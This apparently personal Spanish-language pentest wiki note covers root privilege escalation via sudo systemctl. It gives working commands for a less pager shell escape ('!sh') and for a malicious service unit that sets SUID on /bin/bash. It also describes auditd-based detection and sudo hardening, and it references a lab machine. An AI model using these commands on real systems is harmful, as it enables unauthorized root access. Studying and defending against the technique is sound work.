systemctl pager escape (!sh)
Cuando systemctl status (o journalctl, git log, less, man...) produce una salida más larga que la pantalla, la envía a un pager, normalmente less. Y less, mientras está abierto, permite lanzar un comando del sistema escribiendo ! seguido del comando: !sh abre una shell.
Si podemos ejecutar systemctl status como root (por una regla de sudo, o porque el binario ya corre con privilegios), esa shell hereda el privilegio. Es un caso concreto de abuso de pager (GTFOBins):
sudo systemctl status <service>
# dentro del pager:
!sh
id # uid=0(root)Para que el pager aparezca, la salida debe ser lo bastante larga; si el servicio tiene pocas líneas, se puede reducir el ancho de la terminal (stty rows 1 cols 20 o encoger la ventana) o encadenar un servicio con más registros. Alternativamente, forzar el pager mandando la salida a less explícitamente.
Otra vía: unidad de servicio maliciosa
Si el sudo sobre systemctl permite start/link/enable en lugar de solo status, no hace falta el pager: se escribe una unidad propia con ExecStart malicioso y se arranca como root:
cat > /tmp/root.service <<'EOF'
[Service]
Type=oneshot
ExecStart=/bin/bash -c 'chmod u+s /bin/bash'
[Install]
WantedBy=multi-user.target
EOF
sudo systemctl link /tmp/root.service
sudo systemctl start root
bash -p # [[suid-abuse|SUID root]]Requisitos
Una regla sudo (o un binario privilegiado) que invoque systemctl. Para el pager, que la salida sea paginada y que el less no esté en modo seguro; para la unidad maliciosa, que la regla permita start/link y no solo status.
Matices. systemd moderno intenta mitigar el pager con SYSTEMD_PAGERSECURE, que en modo seguro deshabilita el ! de less. Si la variable no está activada (frecuente en configuraciones antiguas o cuando se invoca por sudo sin sanear el entorno), el escape sigue funcionando. Conviene confirmar la versión y probar.
Cómo detectarlo. El sudo systemctl queda en /var/log/auth.log, y auditd capta el patrón revelador: un execve de /bin/sh//bin/bash cuyo proceso padre es systemctl o less/pager, algo que la operación normal no produce. La vía de la unidad deja además un fichero .service recién creado en /tmp o /etc/systemd/system/ (Sysmon/auditd sobre escritura) y un evento de arranque de un servicio con nombre atípico. Un /bin/bash que gana SUID justo después cierra el caso.
Defensa. No conceder por sudo binarios que abran un pager interactivo ni que permitan cargar unidades arbitrarias; si es imprescindible el status, exportar SYSTEMD_PAGER=cat o PAGER=cat en la regla y usar env_reset para no heredar un pager manipulado. El principio general: cualquier sudo sobre una herramienta con !/shell-out (sudo sin restricciones es el caso extremo) equivale a dar root.
Máquinas donde se aplica
- ScrutinyProving Grounds Practice